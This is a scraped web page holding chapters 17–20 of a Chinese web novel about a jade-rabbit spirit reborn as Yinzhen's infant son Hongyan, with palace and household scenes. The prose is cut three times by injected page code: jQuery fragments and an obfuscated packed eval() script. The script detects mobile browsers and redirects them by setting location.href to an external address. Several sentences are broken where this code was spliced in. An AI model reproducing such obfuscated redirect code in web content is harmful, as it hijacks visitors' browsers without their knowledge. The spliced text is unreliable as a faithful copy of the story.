$(''.inform'').remove(); $(''#content'').append('' p> 他还没有把自己劝好呢? 玉兔精也是要面子的。 而胤禛什么也没说,一只手护着弘晏,另一只手轻轻拍打着小家伙。 弘晏感受到了胤禛并没有责怪,也没有笑话他的意思,只是用行动来安抚他,便不再喊叫,乖乖的窝在便宜阿玛宽厚的胸膛里。 乌拉那拉氏见这场面,说不出的高兴。 爷去山东一趟,父子俩的关系却更融洽了。 不一会儿,饭菜端上了桌,弘晏便交给了王乳娘照料。 这一桌便算是为胤禛接风洗尘了,乌拉那拉氏高兴,便主动让人温了酒,要陪胤禛喝两杯。 而弘晏闻着饭菜的香味,却不羡慕,因为王乳娘给他端来了萝卜泥吃。 自从给六阿哥喂辅食以来,王乳娘知晓六阿哥不挑嘴,都是将辅食吃的干干净净的。 但是通过六阿哥的神情和干饭速度来看,六阿哥还是更喜欢吃萝卜泥、鸡蛋羹一类的,是以今天晚上的辅食便是萝卜泥,待六阿哥吃完,再喂半碗羊奶就行了。 饭菜吃完,银烛与流萤开始收拾桌子,乌拉那拉氏与胤禛移到了小榻上说话,王乳娘也走过去,将弘晏放在了小榻上。 瞧着弘晏在小榻上滚来滚去,爬来爬去,胤禛惊觉这孩子长的真是快,短短两个月,又学会了新技能,同时又有些失落,弘晏的成长过程他这个阿玛又缺失了一块。 胤禛正想着,小家伙不知何时,从小榻上爬到了他的大腿上,接着又想往上爬,胤禛将思绪掩下,顺势往后一趟,弘晏整个人儿都挂在了他身上。 胤禛哈哈笑着,连胸膛都跟着颤动,一只大手环住了小家伙,另一只大手轻轻拍了拍弘晏的小屁股。 嗯,肉嘟嘟的,手感也不错。 弘晏今日费了不少精神,很快便打起了哈欠,乌拉那拉氏发觉后,便叫王乳娘将弘晏抱下去哄睡。 夜深了,胤禛没有走的意思,乌拉那拉氏便起身先去沐浴更衣。 一个时辰后,内室的拔步床上,乌拉那拉氏躺在胤禛怀里,问道:“爷此去山东,可有受伤?” 白莲教的人都不是等闲之辈,胤禛此去定然是有几分凶险的。 依着胤禛的性子,该是一本正经的回答乌拉那拉氏的问题,可如今餍足的胤禛却眉头一挑,声音更是带着几分磁性:“爷是否受伤?福晋刚才是没瞧清楚?” 乌拉那拉氏听罢,脸一红,嗔了胤禛一眼,要将身子转过去,却被胤禛拉回了怀里。 小别胜新婚,不管在什么年纪都适用。 片刻后,胤禛问起了正经事,“这两月,府里可还好?” 乌拉那拉氏答道:“一切都好。” 胤禛“嗯”了一声,有福晋操持着他自然是放心的。 随后,胤禛又张口问道:“宫里的那位呢?” 这回胤禛说话的语气,便生硬了几分。 乌拉那拉氏明白胤禛话里指的是德妃,只道:“还是老样子。” 德妃说的那些不中听的话,她也不想让胤禛知晓,免得徒增烦恼。 胤禛听了这回答,在心中自嘲一笑。 这些年,他明明早就看清了,却还是不/死/心的要问。 乌拉那拉氏见胤禛沉默了,也没有再说什么,只是将人抱紧了些。 17. 第 17 章 夜已深,天上只散落几颗零碎的星,而潇湘阁内却烛火通明。 内室里,年侧福晋靠在床头,手里捧着一本词集看的专注。 丫鬟桃夭端着一碗安神药汤迈步入内:“侧福晋,这安神药汤放了一盏茶的功夫了,如今喝着正好。” 年侧福晋闻言,将思绪从词集中抽离,把手中的词集反扣在锦被上,眼眸一抬,端过了那碗黑乎乎的安神药汤。 桃夭犹豫一番后还是开口劝道:“侧福晋莫要伤心,爷刚回来,自然要顾及着嫡福晋的面子。” 年侧福晋闻言,笑道:“我并未伤心?桃夭,你这话从何说起?” 桃夭一瞬间怀疑了自己的判断,随即开口道:“啊?可侧福晋你瞧着并不高兴呀。” 年侧福晋见状,只道:“这几首词都太悲凉了些,我只是一时感叹,代入其中了,福晋是爷的结发妻子,爷办差回来,于情于理都该去正院的。” 桃夭听完,一副“原来如此”的表情。 是她想差了。 年侧福晋左手托着药碗,右手拿着调羹搅拌药汤,似是想到了什么,嘴角一扬:“今晚睡不着的该是李氏才是。” 那女人动不动就跳脚,如今怕是又要发愁了。 年侧福晋不再想闲杂人等,端起药碗一饮而尽。 正如年侧福晋所说,李侧福晋正呆坐在小榻上,毫无困意。 爷走之前,明明是最放不下弘时的,可如今一回来,还是一头扎到正院去了。 她的弘时,终究还比不上一个不会说话的奶娃娃。 一旁的夏婵见状,出声劝道:“侧福晋,您好歹还有三阿哥,只要咱们三阿哥出类拔萃,主子爷定然记得您的功劳,可那潇湘阁的年侧福晋有什么傍身,不过是落日黄花了。” 夏婵的话点醒了李侧福晋,李侧福晋忽的站起来,嘴角一勾:“你说的对,爷今日也没见年氏,那病恹恹的样子,乍一见是惹人怜爱,可瞧多了,便是晦气了。” 这王府里,除了福晋,就没人比得上她。 夏婵拍马屁道:“侧福晋说的是,年侧福晋如何能与您比肩。” 李侧福晋闻言,便乐了,甩着帕子高高兴兴睡觉去了。 而夏婵偷偷松了口气,幸好李氏头脑简单,几句便宜话就哄高兴了,不然到头来,受罪的还是她们这些奴才。 —— 翌日清晨,胤禛洗漱完毕后,简单用了早膳,就带着苏培盛进宫去了。 虽说康熙让他好好休息,但是他人既然回了京城,于情于礼都该去永和宫给德妃请安。 胤禛疾步在宽阔的长街上走着,绛紫色的腰带上缀着一块和田玉佩,那玉佩上的流苏,随着胤禛颀长的身形,轻轻摇曳。 胤禛行如风,那绛紫长袍的衣角随着胤禛的步伐缓缓飘起。 很快,胤禛便到了永和宫。 进了永和宫正殿,胤禛掀起衣袍一角,打千儿道:“儿子给额娘请安。” 胤禛说话的声音平淡,不掺杂一丝感情。 上首的德妃知晓胤禛昨日回了京城,还去了乾清宫复命,是以,对于今早胤禛来请安,一点儿都不意外。 德妃的面容平和,客气道:“坐吧。” 就此母子两个短暂的谈话结束,但宫女捧着茶盏过来,胤禛接过茶盏,饮下一口热茶润喉。 少顷,德妃的声音缓缓传进胤禛的耳朵:“听说你这件差事办的不错。” 胤禛闻言,将手中的茶盏放回原处,只道:“刑部尚在调查,事情还未有结论。” 德妃明白后宫不得干政的道理,也没有再问,而是对着自己的心腹岚竹使了个眼色。 岚竹心领神会,抬起双手拍了两下。 随即,一个身着藕粉色旗装的妙龄女子走了进来,施施然的福身道:“臣女给德妃请安,给四爷请安。” 那女子的眼眸,偷偷瞄向了胤禛。 胤禛能感受到有一道炽热的视线在看着他,但胤禛一个正眼都没有给那女子,而是又端起了那盏茶。 那女子见状,眼底滑过一丝落寞与挫败。 德妃见气氛尴尬,笑着开口道:“老四,这是你二表哥的妻妹罗氏,今年刚刚及笄,按照辈分也当是你的表妹。” 德妃话说完,又朝着罗氏使了个眼色。 罗氏瞧着德妃的暗示,也顾不上女儿家的矜持,朝着胤禛的方向,莲步款款的走了两步,又福身道:“小女罗汀兰拜见四表哥。” 四表哥? 胤禛忍不住轻嗤了一声,一双深不见底的黑眸,幽幽的望向了努力套近乎的罗汀兰。 胤禛虽然一句话也没说,但这眼神极具威严,盯的罗汀兰心里发毛,小姑娘的膝盖一下子就软了,“扑通”一声,直挺挺的跪在了地上。 罗汀兰低着头,说话的声音都带着颤抖:“四爷恕罪,臣女失言了。” 德妃是万万没有想到胤禛与罗汀兰的初见会是这般模样,随即笑着打圆场:“这里又没有外人,不必忌讳这么多,汀兰快起来吧。” “是。”罗汀兰吃了德妃给的定心丸,捏着衣摆站了起来。 胤禛今日来永和宫,本就是做给外人看的,如今,也没有再呆下去的必要了。 “额娘思念母家,传了罗姑娘进宫,想必有许多知心话要说,儿子便不打扰了。”胤禛说完,便直接站了起来,作势就要迈步走。 德妃喊了一声:“慢着。” 随后,德妃又抬了抬手,示意罗汀兰先退下。 罗汀兰不敢耽搁,三步并作两步的走了出去。 与此同时,胤禛又坐了回去。 眼见着胤禛揣着明白装糊涂,德妃索性也打开天窗说亮话了:“汀兰这丫头虽然年纪小些,但有些才貌,给你做个格格,倒也相配。” 胤禛摩挲着拇指上的玉扳指,脸上的神情没有丝毫的松动,只道:“儿子身边不缺人侍候,额娘有心做媒,不如给十四弟吧,也好多帮扶着乌雅家的亲戚。” 胤禛的话,噎人的紧。 德妃对于这个儿子的冷言冷语,倒是习惯了,但习惯不意味着她可以忍受胤禛揭她的面子,哼了一声,便道:“不缺人?乌拉那拉氏生了弘晏,又有府里的大事小事要照料,李氏与宋氏入府早,年纪都大了,年氏倒是锦瑟年华,只是病恹恹的成日离不开药汤,余下的几个格格,你也不怎么中意吧。” 德妃说完,胤禛摩挲玉扳指的动作一顿,抬眸望向德妃,说话的声音听不出喜怒:“额娘对儿子的府中之事,倒是一清二楚。” 德妃听了这话,迎着胤禛的目光,理直气壮道:“本宫是你的额娘,关心你内宅之事,也是人之常情。你年纪不小了,膝下才四个儿子,做额娘的自然要为你筹谋。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143139|164578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>为他筹谋? 胤禛好似听到了什么天大的笑话。 “既如此,儿子有个问题想要请教额娘。”胤禛缓缓开口道。 德妃以为胤禛听进去了她的话,松了口,说话的声音也轻快了几分:“但说无妨。” 胤禛扬声道:“敢问额娘,去月十五,天气阴沉,我福晋一如既往入宫请安,回途却遇大雨,为何那日入宫的只有我福晋一人,全然不见十四弟妹身影?” 德妃的面容僵了僵,她万没有想到胤禛翻起了旧事。 莫不是胤禛昨日刚回来,乌拉那拉氏就添油加醋的吹了枕头风,真是可恶。 德妃胡诌道:“那日啊,那日完颜氏病了,本宫便没让她折腾了。” 胤禛一直盯着德妃的眼睛瞧,见她眸光闪烁,便知是在说谎。 胤禛淡淡道:“额娘怜惜十四弟妹,便舍得折腾我福晋。” 眼见胤禛大有兴师问罪的意味,德妃俊眉一拧,说话的音量不免提高了几分:“老四,你这是什么话?难不成你觉得本宫是那民间磋磨儿媳的恶婆婆?” 胤禛依旧端着淡然的模样:“儿子虚心求教,并无此意,是额娘多思多心了。” 胤禛摆出这幅恭敬的模样,让德妃有气没地方使,像是一拳打在了棉花上。 德妃气呼呼的说道:“好啊,本宫忧虑你身边没有称心的人伺候,花了不少心思寻摸了一个汀兰,你倒是怪我多事了,绕这么大的弯子来寻我的错处,堵我的口。” 胤禛退后一步,朝着德妃又行了个打千儿礼:“额娘恕罪,儿子向来嘴笨,不如十四弟会说话,额娘莫要气坏了身子,儿子还有要事在身,先行告退。” 胤禛一口气说完后,不给德妃反应的机会,便直接起身走了出去。 待胤禛迈出了正殿,下台阶的时候,便听见身后传来了茶盏破碎的声音。 胤禛没有停留,反而越走越快。 他那个所谓的二表哥,别无所长,就是长的白净些,惯会说甜言蜜语的哄女人高兴,那罗氏女还未进乌雅家的门,就大了肚子。 乌雅家为了遮掩丑事,只得让二人尽快成婚。 罗家原是商贾出身,靠着银子打点,才得了个末流小官,如今生意做大了,想必暗中给乌雅家贴补了不少金银,否则德妃也不会出面提携罗家。 只是德妃算错了一步,他胤禛,绝不会淌这趟浑水。 胤禛掩下思绪,加快了出宫的脚步。 回到雍亲王府后,胤禛径直去了正院,便瞧见弘晏正坐在王乳娘怀里,由着乌拉那拉氏喂鸡蛋羹。 胤禛走过去,直接将弘晏举了起来。 弘晏突然双脚腾空,飞了起来,有些惊奇,看清了面前人之后,才明白是便宜阿玛回来把他举高高了。 胤禛瞧着弘晏睁着大大的眼睛,却带着懵懵的小表情,嘴巴上还粘着鸡蛋羹的残渣,这样子别提有多可爱了。 胤禛冷峻的面容柔和了不少。 还是看着自己的好大儿,能让他心里的那点儿不平,一扫而空。 弘晏见便宜阿玛没有将他放下来的意思,便没了耐性,张着小嘴“啊啊”的叫着,还不忘记扑腾自己的小短腿。 便宜阿玛真没有眼力见儿,没瞧见自己正在努力干饭吗? 快点儿把我放下来!!! 鸡蛋羹要凉了!!! 18. 第 18 章 一旁的乌拉那拉氏并不知晓永和宫里发生了什么事,只是见胤禛一回来就逗着弘晏玩,还以为母子俩人两月不见,胤禛与德妃今日相处的不错。 可瞧着着急干饭的弘晏,乌拉那拉氏忍不住出声提醒道:“爷,快把福宝放下来,若弄哭了他,爷可自己哄。” 哭? 弘晏听到了自家额娘的话,觉得这是一个好主意。 可转念一想,为了一口鸡蛋羹就哭,是不是太没出息了,有失作为一个活了几百年的玉兔精的颜面。 弘晏就这么想着,眼睛一低,便瞧见了自己白白胖胖藕节似的小短腿。 现在的他,只是一个刚会爬行的人类幼崽,又有什么丢人的呢。 弘晏打定主意后,两条小短腿也不扑腾了,露出委屈巴巴的表情来,小嘴巴一瘪,鼻子一抽,眸子里很快就要闪烁出泪花了。 这厢,胤禛肉眼可见弘晏变了脸色,一下子就慌了神,连忙将弘晏还给了王乳娘抱着。 当乌拉那拉氏拿着调羹喂到嘴边时,弘晏的脸色立刻由阴转晴,高高兴兴的吃下了一口鸡蛋羹。 嗯,美味! 胤禛瞧着弘晏吧唧着小嘴,咀嚼鸡蛋羹咀嚼的香甜,小脸蛋儿上更是流露出满意的神色来,才惊觉自己是被好大儿给骗了。 胤禛看着弘晏,失笑道:“小鬼头。” 弘晏听了这话,悄咪咪瞅了胤禛一眼,便大口吞下了乌拉那拉氏又投喂到嘴边的鸡蛋羹。 弘晏在心中想道:这一招,果然好使。 有道是:兵不厌诈嘛。 今日的天气还算晴朗,待弘晏吃完了鸡蛋羹,王乳娘便抱着弘晏去外面走走晒晒太阳。 屋子里剩下了乌拉那拉氏和胤禛两个人,胤禛便将永和宫发生的事情,简单的讲了一遍。 乌拉那拉氏听完,一时也沉默了。 德妃之前已经往雍亲王府塞了两个格格了,竟然还不满足。 乌雅家若真有心借德妃的口提携罗家,大可将这罗汀兰送到胤禵身边去,到底胤禵才是德妃一手带大的孩子。 左不过是一个格格罢了。 对于乌雅家和罗家来说,无论是胤禛还是胤禵将人收下,都是极好的,只怕是牵线的德妃不愿意,毕竟罗家门第低微,罗氏女怎能配她心尖上的胤禵,是以,他们才舍近求远,绕到了胤禛这里。 再者,胤禛一回来,德妃就提起此事,还直接将罗氏女带进了宫,看来是早就计划好了的。 只是他们没有想到胤禛的态度竟然会如此坚决。 胤禛见乌拉那拉氏久久不言语,出声问道:“福晋在想什么?” 乌拉那拉氏思绪回笼,望着胤禛开口道:“我在想额娘怕是不会轻易放弃。” 胤禛闻言,边摩挲着玉扳指,边看着乌拉那拉氏,答道:“无妨,若她寻到你头上,推到我身上便是。” 几日后,白莲教一案有了结果,白莲教的教徒一律斩杀,凡是与白莲教有牵扯的官员,抄没家产充公,择日推到菜市口问斩,其亲眷凡成年男子一律流放边关,余下亲眷变卖为奴,终身不得赎出。 而胤禛也受到了康熙的嘉奖,赐黄金百两,管理户部事宜。 —— 冬月底的夜晚,第一场雪悄然而至,待到天亮,整个京城都是白茫茫一片成了雪的世界,这可乐坏了弘晏。 小家伙坐在乌拉那拉氏怀里,一双眼睛却直勾勾的望着外面,嘴里“啊啊”的叫着,小手指努力的指向外面。 乌拉那拉氏被弘晏缠的没有法子,只好将弘晏裹得严严实实的像个小圆球一般只露出了两个黑溜溜的眼睛,才舍得抱着弘晏出去。 不过,乌拉那拉氏抱着弘晏迈出门槛站在了廊下,就未再往前面走了。 小小的弘晏抬头望天,那鹅毛似的晶莹的雪花还在簌簌的往下落,丝毫没有停歇的意思。 弘晏看得心里痒痒的,便伸出小手掌来要接上一片小雪花,无奈他的小胳膊太短,乌拉那拉氏站的位置又太靠里面,他压根触碰不到雪花。 弘晏不信邪,扭动着小身子努力向前倾去,幸好乌拉那拉氏有防备,两只手稳稳的托着弘晏。 努力尝试过后,还是不行。 弘晏扭过小脸儿,求助的目光望向了乌拉那拉氏,嘴里还“咿咿呀呀”的叫着。 额娘只要再往前走两步,他就可以摸到小雪花了。 乌拉那拉氏明白弘晏的小心思,抬起了步子。 弘晏见状,心下一喜,小嘴一咧,露出了几颗小米牙来。 还是额娘好啊! 弘晏在心里想着。 可下一瞬,弘晏就笑不出来了。 不对呀,额娘怎么转身了,还抱着他往回走。 眼瞧着额娘抱着自己就要进屋子去,弘晏开始在乌拉那拉氏怀里挣扎起来了。 不要回去! 他要玩小雪花! 乌拉那拉氏见状,抱紧了怀里不安分的弘晏,脚下迈步的速度也更快了。 弘晏太小了,抱他出来站一会儿看看雪,过过眼瘾也就得了,这小家伙竟然还想玩雪,真是胡闹。 弘晏终是被乌拉那拉氏抱进了屋子,可并没有放弃挣扎,还在乌拉那拉氏怀里扑腾着来表示抗议。 乌拉那拉氏见状,只得软语哄起来怀里的弘晏:“福宝乖,外面太冷了,染了风寒要喝苦药汤的,额娘会心疼的。” 乌拉那拉氏哄了好一会儿,见怀里的弘晏安静了下来,便以为弘晏听懂了她的话,不再执着出去了,就将弘晏放在了檀木小榻上。 门上挂着的棉帘子隔绝了外面的冰雪世界,屋子里又燃着银丝碳,待弘晏适应了屋子里的温度后,乌拉那拉氏开始将弘晏身上厚重的衣服脱下几件来。 可就当乌拉那拉氏扭过脸将袄子交给流萤的时候,弘晏瞅准了这个机会,手脚并用从乌拉那拉氏身边爬到了小榻的边沿,伸出了小短腿,试探着着陆。 流萤的余光瞧见了这一幕,吓得惊呼道:“六阿哥!” 乌拉那拉氏连忙回头,见小榻上的弘晏摇摇欲坠,立马扑过去将弘晏抱起来。 当肉嘟嘟的弘晏抱进怀里时,乌拉那拉氏松了一口气。 弘晏不明所以,额娘这是怕他掉下去? 他哪里有这么笨啊! “啊啊。” 乌拉那拉氏听到怀里的弘晏叫起来,脸上立马浮现出了担忧之色, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143140|164578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 焦急问道:“怎么了,福宝,可是伤到了?” 弘晏见自家额娘并不能理解他的意思,便扭过小脑袋看着外面,肉嘟嘟的小身子一直朝着通向屋外的方向倾斜,嘴里还咿咿呀呀的叫着。 弘晏在心里疯狂呐喊:他没有事,他要到外面去玩! 他可是玉兔精,玉兔精怎么会害怕区区的下雪天呢。 乌拉那拉氏见前后的事情联系起来,心中有了一个大胆的想法,随即对着怀里的弘晏问道:“福宝,是想去外面玩雪吗?” 弘晏见自家额娘终于明白了自己的意思,随即,歪着小脑袋笑着“啊”了一声。 没错,没错! 眼见着心中的猜想得到了印证,乌拉那拉氏眉头一拧,直接朝着弘晏的小屁股打了一下,气恼道:“你这孩子,太大胆了些。” 几个月大的奶娃娃,为了图新鲜玩雪,竟然妄想从小榻上爬到外面去!!! 正笑呵呵的弘晏,听见了屁股上传来的“啪叽”一声,整个人都愣住了。 他的小屁股挨打了? 额娘动手打他了? 弘晏的眼睛先是呆呆的,反应过来后是不可置信,再接着是委屈巴巴的瘪了嘴。 他还是玉兔精的时候,就喜欢在下雪天玩,他也见到过交/配生下的小玉兔,被它的父母带着在雪地里玩,这是很正常的事情,可到了人间,变成了人,什么都变了。 他都在人间生活了几个月的时间了,他不能说话,不能走,不能跑,只想玩一下雪都不行,实在太憋屈了! 弘晏越想越委屈,鼻子一酸,眼睛里便要泛起泪花来,可弘晏觉得哭鼻子太丢人了,便极力控制着不让眼泪掉下来。 乌拉那拉氏虽然气恼,但是理智仍在,弘晏的小屁股本就肉多,她打的力道也不重,她知晓弘晏能听懂她的话,她便想让弘晏明白,刚刚的行为太过危险,万一摔下去…… 乌拉那拉氏不敢想下去。 可瞧着弘晏现在可怜兮兮的模样,乌拉那拉氏还是后悔打了那一下。 到底只是一个几个月大的小娃娃。 乌拉那拉氏边伸手揉着弘晏的小屁股,边哄道:“福宝,额娘,额娘不是有意要打你的,只是额娘担心你呀,怕你摔倒了。” 乌拉那拉氏没有使什么力,打屁股那一下,早就不疼了。 弘晏只是从心里觉得委屈。 当个人,真没有做玉兔精自在! 乌拉那拉氏哪里知道弘晏在思考这么深奥的问题,对着弘晏的小脸蛋儿亲了又亲:“福宝,原谅额娘好不好?” 弘晏思绪回笼,瞧着乌拉那拉氏一脸歉意,那漂亮的眼眸中含着几分内疚与隐隐的期待。 随即,弘晏的两只小手便握紧了乌拉那拉氏的衣裳,歪着小脑袋在乌拉那拉氏怀里拱了拱。 他怎么能怪额娘呢? 他的芯子是一只活了几百年,见过大风大浪的玉兔精,可外形却是小小一只肉嘟嘟的,而且手脚又绵软无力的十分脆皮的人类幼崽。 额娘的担心,自然是有道理的。 乌拉那拉氏见状,脸上浮现灿烂的笑,蹭了蹭弘晏的小脸蛋儿,遂感叹道:“福宝,额娘的好孩子。” 19. 第 19 章 不多时,到了用膳的时辰。 王乳娘端来了肉糜粥喂给弘晏,弘晏依旧吃的很香,不一会儿的功夫,肉糜粥就见了底。 只是吃饱饱以后,弘晏就一个人安安静静的坐在小榻上,抬眼望着窗外的景象。 这场雪下的越来越大了,入目皆是白色,弘晏边看边回想着以往在雪地里撒欢打滚的情景。 同样用完膳的乌拉那拉氏,发现弘晏已经在小榻上坐了很久了,而且一动也不动,就连眼睛也不眨一下,十分专注的望着外面的雪景。 乌拉那拉氏叹了口气。 这孩子这般小,性子就这么像胤禛了。 乌拉那拉氏抬了抬手,示意银烛过来,随即在银烛耳边低语了几句。 银烛听罢,微微颔首,随即迈步走了出去。 乌拉那拉氏起身走到了弘晏身边坐下,开口唤道:“福宝?” 听到额娘在叫自己,弘晏的思绪从回忆中抽离出来,扭过小脸,迷茫的看向乌拉那拉氏。 乌拉那拉氏则伸出双手,将弘晏抱到了大腿上坐着,柔声说道:“福宝,就这么喜欢雪啊。” 弘晏眼睫闪了闪,只是抿着小嘴巴并没有说话。 他是喜欢雪,但更怀念那个曾经在雪地里打滚,可以自由自在的玉兔精。 少顷,银烛迈步走了进来。 乌拉那拉氏笑着唤道:“福宝,抬头看看。” 情绪有些低落的弘晏闻言,抬起了头,可当看到银烛的手里捧着一个小雪球时,两只眼睛立刻亮了起来,恍若璀璨夺目的明珠。 雪! 是雪呀!!! 弘晏立马张着小嘴“啊啊”叫起来,小身子往前卖力的扑腾着,要去够银烛手里的雪球。 幸而乌拉那拉氏早就预判了弘晏的反应,将小人儿抱的紧紧的。 乌拉那拉氏耐着性子,声音柔柔的和弘晏商量:“福宝乖,你太小了,还不能去雪地里玩,咱们就用小手摸一下雪,好不好?” 弘晏听罢,安静下来,扬起小脸蛋儿眼睛亮亮地看着乌拉那拉氏,而后爽快的“啊”了一声。 听到弘晏的肯定回答,乌拉那拉氏柔柔笑道:“真乖。” 随即,乌拉那拉氏朝着银烛使了个眼色,示意银烛走过来些。 银烛心领神会,双手捧着雪球走到了弘晏面前。 圆滚滚、白花花的小雪球近在咫尺,弘晏抬起右手,慢慢伸了过去。 待小手掌完全触碰到小雪球时,弘晏感受了从掌心传递过来的丝丝凉意。 愿望得到满足,弘晏的嘴角露出了满意的笑。 捧着小雪球的银烛,此时却有些担忧。 万一阿哥起了兴,要把雪球抱到怀里玩可怎么好。 银烛正想着,下一瞬,却见弘晏将小手掌收了回去,一时有些吃惊和意外。 而小弘晏好似看破了站在他面前的银烛的小心思,骄傲的扬了扬下巴。 他可是信守承诺的好宝宝。 乌拉那拉氏见状,从袖子里拿出浅蓝色绣着白色栀子花的帕子来,笑意柔柔的给弘晏擦了擦有些湿濡的手。 而此时的银烛,捧着小雪球默默地退了出去,行至廊下,银烛用力一掷,将那雪球送还给白茫茫的雪地。 屋内,乌拉那拉氏给弘晏的小手掌擦干以后,流萤便捧着一个铜盆走过来,那铜盆里是兑了花露的温水。 乌拉那拉氏则拿着棉帕浸了水,又给弘晏好好洗了洗小肉手。 随后,弘晏便耍赖似的窝在乌拉那拉氏怀里,不肯再叫王乳娘抱了。 额娘在努力的满足他的愿望,额娘真好,他要和额娘贴贴。 就算是披着风雪赶回来的胤禛,也没得到弘晏的一个正眼。 胤禛有些摸不着头脑,这小家伙怎么突然就不亲近他了? 这小家伙,也就一天没见着他这个阿玛吧。 胤禛想罢,敛下思绪,大手一捞,就像抓娃娃一般将软绵绵的肉团子抱到了自己怀里。 嗯,一天没抱,好像又重了。 弘晏小眉头一颦,挥舞着小拳头,冲着胤禛“啊啊”叫起来。 坏阿玛,没看到他在和额娘贴贴嘛,干嘛把他和额娘分开。 弘晏很生气,但在胤禛看来,却觉得张牙舞爪的儿子可爱的紧,随即,胤禛用一只手稳稳的抱住弘晏,腾出来一只手凑上去捏了捏弘晏软乎乎的脸颊肉。 啊,好凉呀! 坏阿玛! 胤禛刚要把手收回去,弘晏瞅准机会,气呼呼的张大嘴巴冲着胤禛的手指,狠狠的咬下去。 弘晏咬的那根手指,正是胤禛刚刚捏他脸的食指。 乌拉那拉氏瞧见这一幕,心里一惊,但又怕吓到弘晏,便走过去说道:“福宝乖,快松开。” 松就松,又凉又咸的硬手指,口感一点儿都不好。 弘晏在心里吐槽完,就松开了嘴巴,只是那口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143141|164578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腔里分泌出来的涎水拉了长长一条,好似一条白线。 而弘晏直勾勾的盯着便宜阿玛,好似在说:这回知道我的厉害了吧。 乌拉那拉氏拉过胤禛的手掌,边拿着帕子给胤禛擦沾了涎水的食指,边问道:“爷,手无碍吧?用不用叫柳从南过来?” 因为乌拉那拉氏瞧见了胤禛的食指上,印着几颗小米牙齿印。 胤禛瞅了一眼还自认为凶巴巴的弘晏,嘴角一勾:“不用,爷还没这么……” 不待胤禛将“娇气”两个字说出来,乌拉那拉氏将擦涎水的帕子放进他手里,便直接将弘晏抱到了自己怀里,俊眉一拧,说话的语气,更是旋转了一百八十度。 “怪不得福宝不叫你捏脸,身上冷冰冰的就抱孩子,也不怕将寒气过给了福宝。” 乌拉那拉氏由于担心,方才便摸了胤禛的手查看情况,这一触碰才知,胤禛那手指头可是冰凉的紧。 弘晏听着乌拉那拉氏的话,附和道:“咿呀咿呀。” 就是,就是! 随即,母子两个人同仇敌忾的看向了胤禛。 胤禛心虚的别开眼,拿着乌拉那拉氏的帕子继续擦手。 他方才急着证明自己在好大儿心里是有地位的,就忘了自己刚从风雪之中回来了。 此时,流萤捧着铜盆走过去,胤禛便将手放到了热水里洗。 而乌拉那拉氏直接抱着弘晏去净室洗澡去了。 乌拉那拉氏想着弘晏先是摸了雪,又被胤禛过了寒气,可得好好在热水里泡一泡。 木盆里放了花瓣和几个木制的小玩具,又因着今晚是额娘亲自给他洗澡,所以弘晏格外配合。 许是今日在热水里泡的时间久了,弘晏被抱出木盆以后,眼睛就已经耷拉下来,有了困意。 乌拉那拉氏见状,加快动作给弘晏穿好了衣服,而后直接将弘晏抱去内室哄睡了。 身体刚挨着摇篮椅,弘晏就进入了熟睡状态,乌拉那拉氏几乎没有费什么力,随即给弘晏盖好被子,便掩门出去了。 外间内,晚膳已然摆满了一桌,中间还有个热气腾腾的牛肉锅子,胤禛又特意吩咐人温了酒。 乌拉那拉氏哪里不明白胤禛的心思,嗔了对方一眼,便落坐在胤禛身边了。 屋外的大雪纷纷扬扬,屋内的夫妻二人吃着牛肉锅子,举杯对饮,好不快哉。 内室摇篮椅里呼吸均匀绵长的弘晏咂了咂嘴,好似在做什么美梦。 20. 第 20 章 大雪一下,日子过得更快了,转眼便是腊月初八——腊八节。 雍亲王府的膳房一早就熬好了腊八粥,上至各院主子,下到挑水劈柴的末等小太监,人人有份。 另外,乌拉那拉氏还命流萤与银烛,给府中的奴才们发放冬衣和柴薪。 按照规矩,胤禛与乌拉那拉氏还需入宫,是以他们二人并未用腊八粥。 不过,弘晏的小鼻子灵的很,闻出来院子里到处飘着腊八粥的香味,再也不肯喝眼前清淡的米糊糊了。 府里的腊八粥,是用大米、小米、玉米、薏米、红枣、莲子、花生、桂圆这八种食材熬制成的。 如今,弘晏已经九个月大了,少用些腊八粥也无妨。 眼见着乌拉那拉氏点了头,王乳娘忙不迭将米糊糊换成了一小碗腊八粥。 王乳娘舀起一勺腊八粥吹了吹喂给弘晏,弘晏嘴里咀嚼着腊八粥,笑的眉眼弯弯。 好吃,香香糯糯的比米糊糊好吃多了。 很快,一小碗腊八粥见了底,弘晏还想吃,乌拉那拉氏没再让王乳娘盛。 要是吃多了积食,就不好了。 弘晏见额娘态度坚决,只得作罢,咂了咂嘴巴,回味腊八粥的香甜。 乌拉那拉氏瞧见了弘晏的这幅模样,自然不忍心,但她的理智告诉她,绝对不可以。 好在,弘晏很乖,也没有再坚持要腊八粥。 